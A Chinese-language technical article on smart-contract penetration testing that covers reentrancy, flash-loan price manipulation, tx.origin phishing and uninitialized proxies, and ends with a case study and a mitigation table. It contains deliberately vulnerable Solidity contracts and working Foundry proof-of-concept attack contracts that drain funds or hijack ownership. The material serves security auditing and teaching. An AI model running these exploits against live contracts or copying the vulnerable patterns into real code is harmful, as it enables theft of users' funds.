绝大多数被攻破的合约,代码本身"没 bug"——它只是允许了一种设计者没想到的经济行为。重入、闪电贷、价格操纵、治理攻击,本质都是在合约允许的规则内,用资金和信息的时间差套利。所以渗透测试的终点不是"发现可疑行",而是"构造一个能跑通、能算出利润的 PoC"。没有 PoC 的漏洞报告只是猜测。
侦察(源码/ABI/链上历史) → 静态分析(Slither/手动) → 动态 Fuzz(Foundry) → PoC 验证(主网 fork)关键原则:所有 PoC 必须在主网 fork 上可复现,用真实流动性、真实价格、真实 gas,否则"理论可利用"没有交付价值。
call 才危险// VulnerableBank.sol —— 经典但仍在发生的模式
contract VulnerableBank {
mapping(address => uint256) public balances;
function withdraw() external {
uint256 bal = balances[msg.sender];
require(bal > 0);
(bool ok, ) = msg.sender.call{value: bal}(""); // 先转账
require(ok);
balances[msg.sender] = 0; // 后清零
}
}// PoC.sol —— Foundry 测试
contract ReentrancyPoC is Test {
VulnerableBank bank;
Attacker attacker;
function setUp() public {
bank = new VulnerableBank();
attacker = new Attacker(address(bank));
vm.deal(address(attacker), 1 ether);
vm.deal(address(bank), 10 ether);
}
function testReentrancy() public {
attacker.attack{value: 1 ether}();
assertGt(address(attacker).balance, 1 ether, "profit");
assertEq(address(bank).balance, 0, "drained");
}
}
contract Attacker {
VulnerableBank bank;
constructor(address b) { bank = VulnerableBank(b); }
function attack() external payable { bank.withdraw(); }
receive() external payable {
if (address(bank).balance >= 1 ether) bank.withdraw(); // 递归
}
}PoC 判定线:profit > gas cost 才算有效漏洞,否则只是理论问题。
// 被攻击合约读取 spot price 作为抵押率
contract Lending {
IUniswapV2Pair pair;
function getPrice() public view returns (uint256) {
(uint112 r0, uint112 r1, ) = pair.getReserves();
return uint256(r1) * 1e18 / uint256(r0); // 可被闪贷瞬间扭曲
}
function borrow(uint256 amount) external {
uint256 collateral = getPrice() * balances[msg.sender] / 1e18;
require(amount <= collateral * 75 / 100);
// ...
}
}// PoC:用 flash loan 在同一交易内操纵储备
function testPriceManipulation() public {
uint256 before = address(this).balance;
flashLoan(1_000_000e18); // 借入巨额 token0
swapToDistortReserves(); // 砸盘,r0 暴增
lending.borrow(maxBorrow()); // 以虚高抵押借出
repayFlashLoan();
assertGt(address(this).balance, before);
}检测要点:凡是 getReserves()、balanceOf(pair)、单池 slot0 参与清算/借贷计算的,一律标红。正确做法是 TWAP 或 Chainlink 多源聚合。
tx.origin 与初始化函数// 两个高频模式
function transferOwnership(address n) external {
require(tx.origin == owner); // 钓鱼可绕过
owner = n;
}
// 代理合约未初始化
contract Proxy {
address public implementation;
function initialize(address impl) external { // 无 initializer 锁
implementation = impl;
}
}// PoC:中间人合约调用,tx.origin 仍是受害者
contract Phishing {
function pwn(address target) external {
target.call(abi.encodeWithSignature("transferOwnership(address)", address(this)));
}
}
// PoC:抢先初始化代理,劫持实现地址
function testUninitializedProxy() public {
vm.prank(attacker);
proxy.initialize(address(maliciousImpl)); // 一次性劫持
assertEq(proxy.implementation(), address(maliciousImpl));
}目标:某收益聚合器,用户存入稳定币,合约自动在多个池间调仓。
第 1 小时·侦察:拉取 ABI 与近 30 天交易,发现 harvest() 无访问控制,任何人可调用。链上历史显示调仓频率异常。
第 2 小时·静态分析:Slither 报 reentrancy-eth(低危)、arbitrary-send(中危)。手动核查发现 harvest() 内先 swap 再更新 lastHarvest,存在价格读取窗口。
第 3 小时·Fuzz:用 Foundry 对 harvest() 做参数模糊测试,发现当池子流动性低于阈值时,swap 滑点被人为放大,harvest 收益被套走。
// fuzz 测试骨架
function testFuzzHarvest(uint96 amount, uint96 poolLiquidity) public {
vm.assume(amount > 0 && poolLiquidity > 1e6);
setPoolLiquidity(poolLiquidity);
uint256 before = token.balanceOf(address(this));
aggregator.harvest{value: amount}();
uint256 profit = token.balanceOf(address(this)) - before;
assertLe(profit, maxExpectedProfit(), "slippage exploit");
}第 4 小时·PoC 验证:主网 fork,用真实 Curve 池,构造"低流动性窗口 + 无许可 harvest"组合,测得单次获利约 0.8 ETH,扣 gas 后仍为正。PoC 通过。
第 5 小时·修复验证:给 harvest() 加 onlyKeeper + TWAP 校验,重跑 PoC,断言 profit <= 0。
措施 | 覆盖漏洞 | 成本 |
|---|---|---|
重入锁 + Checks-Effects-Interactions | 重入 | 低 |
价格源用 TWAP / 多源聚合 | 价格操纵 | 中 |
初始化函数加 initializer 修饰符 | 代理劫持 | 低 |
关键函数 onlyRole + 时间锁 | 权限滥用 | 低 |
Foundry 不变量测试(invariant) | 逻辑缺陷 | 中 |
形式化验证(Certora) | 算术/状态机 | 高 |
一份合格的渗透报告必须包含:漏洞描述 → 复现步骤 → 可运行的 Foundry PoC → 主网 fork 下的利润测算 → 修复 patch → 修复后的回归测试。缺任何一项,客户都无法判断该不该上线。
智能合约安全没有"看起来没问题",只有"我构造了 N 种攻击路径,全部被拦住"。PoC 是唯一可信的证据。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。